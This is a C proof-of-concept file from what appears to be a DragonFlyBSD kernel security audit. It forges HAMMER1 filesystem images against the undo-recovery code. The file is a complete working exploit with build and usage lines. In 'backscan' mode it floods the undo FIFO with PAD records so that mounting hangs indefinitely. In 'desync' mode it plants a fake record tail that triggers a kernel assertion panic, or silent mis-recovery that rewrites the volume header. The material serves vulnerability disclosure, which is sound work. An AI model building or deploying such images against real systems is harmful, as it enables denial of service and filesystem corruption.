DragonFlyBSD Kernel Audit
DF-3068 / padflood.c
← back to finding ↓ download raw
/*
 * padflood.c - DF-3067 / DF-3068 PoC image forger for HAMMER1 undo recovery.
 *
 * DF-3067 (backscan hang):
 *   hammer_recover_stage1() (hammer_recover.c:250-270) runs, for EVERY
 *   version>=4 mount, an UNBOUNDED reverse FIFO walk whose only exits are
 *   (a) an I/O / signature error or (b) the first non-PAD record (to grab
 *   its hdr_seq).  PAD records are explicitly exempt from the seqno
 *   discontinuity check (:266-269), and the walk wraps at the zone base
 *   (:789-790 hammer_recover_scan_rev), so an undo FIFO consisting solely
 *   of valid 8-byte PAD records (signature 0xC84E, type 0x8040, size 8)
 *   makes the mount spin forever: no byte counter, no lap limit, no
 *   error.  Same unbounded-walk shape in stage2's extended-range scan
 *   (:652-670) when hmp->recover_stage2_offset (REDO_SYNC.redo_offset,
 *   an unvalidated u64) never matches a record boundary.
 *
 *   mode "backscan": flood every vol0_undo_array[] bigblock with PAD-8s,
 *   set vol_version=6, first=next=UNDO|0x1000.  Mount never returns.
 *
 * DF-3068 (walk desync -> INVARIANTS KKASSERT panic):
 *   For version<4 filesystems the nominal undo range is taken verbatim
 *   from vol0_blockmap[3] (first_offset/next_offset - hammer_recover.c:225-
 *   226), and the reverse walk steps `scan_offset -= hdr_size` while the
 *   byte counter steps `bytes -= hdr_size`, but hdr_size comes from the
 *   record the *tail* decoded - a fake tail whose tail_size points at an
 *   attacker-chosen oversized record head makes one iteration consume more
 *   bytes than remain, so the loop exits with bytes<0 and
 *   KKASSERT(error || bytes == 0) at hammer_recover.c:460 fires
 *   (deterministic panic on INVARIANTS kernels; on production kernels the
 *   mount silently continues with a mis-recovered FIFO and rewrites the
 *   volume-header blockmap).
 *
 *   mode "desync": version=3, a 24-byte DUMMY record at [F-16,F+8) whose
 *   tail doubles as the fake tail one iteration later, first=F,
 *   next=F+8  ->  bytes goes 8 -> -16 -> KKASSERT panic.
 *
 * No vol_crc fixup needed (never verified in-kernel, see DF-3042).
 *
 * Build (guest): cc -O -o padflood padflood.c -I/usr/src/sys/vfs/hammer
 * Usage: padflood backscan|desync <img>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/param.h>
#include <stddef.h>
#include <hammer_disk.h>

#define OOF(x)	offsetof(struct hammer_volume_ondisk, x)

static uint32_t crc_tab[256];
static void
crc_init(void)
{
	for (uint32_t i = 0; i < 256; i++) {
		uint32_t c = i;
		for (int k = 0; k < 8; k++)
			c = (c & 1) ? 0xEDB88320U ^ (c >> 1) : c >> 1;
		crc_tab[i] = c;
	}
}
static uint32_t
crc32b(const void *buf, size_t len)
{
	const uint8_t *p = buf;
	uint32_t c = 0xFFFFFFFFU;
	for (size_t i = 0; i < len; i++)
		c = crc_tab[(c ^ p[i]) & 0xFF] ^ (c >> 8);
	return (c ^ 0xFFFFFFFFU);
}
/* hammer_crc_get_fifo_head(): datacrc(head,12) ^ datacrc(head+1,bytes-16) */
static uint32_t
fifo_crc(const uint8_t *rec, uint32_t bytes)
{
	return (crc32b(rec, 12) ^ crc32b(rec + 16, bytes - 16));
}

static const uint8_t pad8[8] = {
	0x4E, 0xC8,			/* hdr_signature 0xC84E */
	0x40, 0x80,			/* hdr_type HAMMER_HEAD_TYPE_PAD (0x8040) */
	0x08, 0x00, 0x00, 0x00		/* hdr_size 8 (also tail_size: head==tail) */
};

static void
put16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; }
static void
put32(uint8_t *p, uint32_t v)
{
	p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
	p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
}

static void
dump_map(const char *tag, struct hammer_blockmap *bm)
{
	printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n",
	       tag, (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset,
	       (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset);
}

int
main(int ac, char **av)
{
	struct hammer_volume_ondisk hdr;
	struct hammer_blockmap *undo;
	hammer_off_t alloc, first, next;
	uint64_t vol_buf_beg;
	static uint8_t bb[HAMMER_BIGBLOCK_SIZE];
	off_t mapoff = OOF(vol0_blockmap) +
		       HAMMER_ZONE_UNDO_INDEX * sizeof(struct hammer_blockmap);
	uint8_t rec[32];
	int fd, nbb, i;

	if (ac != 3) {
		fprintf(stderr, "usage: padflood backscan|desync <img>\n");
		return (2);
	}
	crc_init();
	fd = open(av[2], O_RDWR);
	if (fd < 0) { perror("open"); return (1); }
	if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pread"); return (1);
	}
	if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume\n"); return (1);
	}
	undo = (struct hammer_blockmap *)((char *)&hdr + mapoff);
	dump_map("undo BEFORE", undo);
	printf("vol_version=%u\n", hdr.vol_version);

	alloc = undo->alloc_offset;
	vol_buf_beg = hdr.vol_buf_beg;	/* phys offset of first zone-2 buffer */
	nbb = (int)((alloc & HAMMER_OFF_LONG_MASK) / HAMMER_BIGBLOCK_SIZE64);
	printf("vol_buf_beg=%016jx undo bigblocks=%d\n",
	       (uintmax_t)vol_buf_beg, nbb);
	if (nbb < 1 || nbb > HAMMER_MAX_UNDO_BIGBLOCKS) {
		fprintf(stderr, "unexpected undo geometry\n"); return (1);
	}

	/* fill one 8MB bigblock buffer with the PAD-8 pattern */
	for (i = 0; i < HAMMER_BIGBLOCK_SIZE; i += 8)
		memcpy(bb + i, pad8, 8);

	if (strcmp(av[1], "backscan") == 0) {
		/*
		 * DF-3067: all-PAD undo FIFO -> stage1 v4+ backscan
		 * (hammer_recover.c:260-270) never terminates.
		 *
		 * Shrink the ring to 256KB (alloc_offset = UNDO|0x40000) so
		 * the cyclic walk repeats its offsets quickly - the debug
		 * flood (vfs.hammer.debug_general=0x80) visibly cycles.
		 */
		uint64_t phys = vol_buf_beg +
				(hdr.vol0_undo_array[0] & HAMMER_OFF_LONG_MASK);
		uint64_t ring = 0x40000;
		if (pwrite(fd, bb, ring, (off_t)phys) != (ssize_t)ring) {
			perror("pwrite pad"); return (1);
		}
		printf("PAD-flooded %llu bytes at phys %016jx\n",
		       (unsigned long long)ring, (uintmax_t)phys);
		hdr.vol_version = HAMMER_VOL_VERSION_SIX;	/* crc32 path */
		alloc = HAMMER_ENCODE_UNDO(ring);
		first = HAMMER_ENCODE_UNDO(0x1000);
		next = first;
		undo->alloc_offset = alloc;
		undo->first_offset = first;
		undo->next_offset = next;
	} else if (strcmp(av[1], "desync") == 0) {
		/*
		 * DF-3068: v3 fs, first=F, next=F+8 (bytes=8).  The single
		 * reverse iteration decodes a fake tail at F whose
		 * tail_size=24 anchors a 24-byte DUMMY head at F-16, so
		 * bytes goes 8-24=-16 and KKASSERT(:460) fires.
		 */
		uint64_t phys = vol_buf_beg +
				(hdr.vol0_undo_array[0] & HAMMER_OFF_LONG_MASK);
		uint64_t F = 0x1000;
		memset(rec, 0, sizeof(rec));
		/* DUMMY head at F-16 */
		put16(rec + 0, HAMMER_HEAD_SIGNATURE);
		put16(rec + 2, HAMMER_HEAD_TYPE_DUMMY);
		put32(rec + 4, 24);			/* hdr_size */
		put32(rec + 8, 0x1234);			/* hdr_seq */
		put32(rec + 12, 0);			/* hdr_crc, set below */
		/* bytes [16,24) are ALSO the record tail + next fake tail */
		put16(rec + 16, HAMMER_TAIL_SIGNATURE);
		put16(rec + 18, HAMMER_HEAD_TYPE_DUMMY);
		put32(rec + 20, 24);			/* tail_size */
		put32(rec + 12, fifo_crc(rec, 24));
		if (pwrite(fd, rec, 24, (off_t)(phys + F - 16)) != 24) {
			perror("pwrite rec"); return (1);
		}
		printf("DUMMY+fake-tail written at phys %016jx + %llx\n",
		       (uintmax_t)phys, (unsigned long long)(F - 16));
		hdr.vol_version = HAMMER_VOL_VERSION_THREE;
		first = HAMMER_ENCODE_UNDO(F);
		next = HAMMER_ENCODE_UNDO(F + 8);
		undo->first_offset = first;
		undo->next_offset = next;
	} else {
		fprintf(stderr, "bad mode %s\n", av[1]); return (2);
	}

	if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pwrite hdr"); return (1);
	}
	dump_map("undo AFTER ", undo);
	printf("vol_version=%u mode=%s crafted OK\n", hdr.vol_version, av[1]);
	close(fd);
	return (0);
}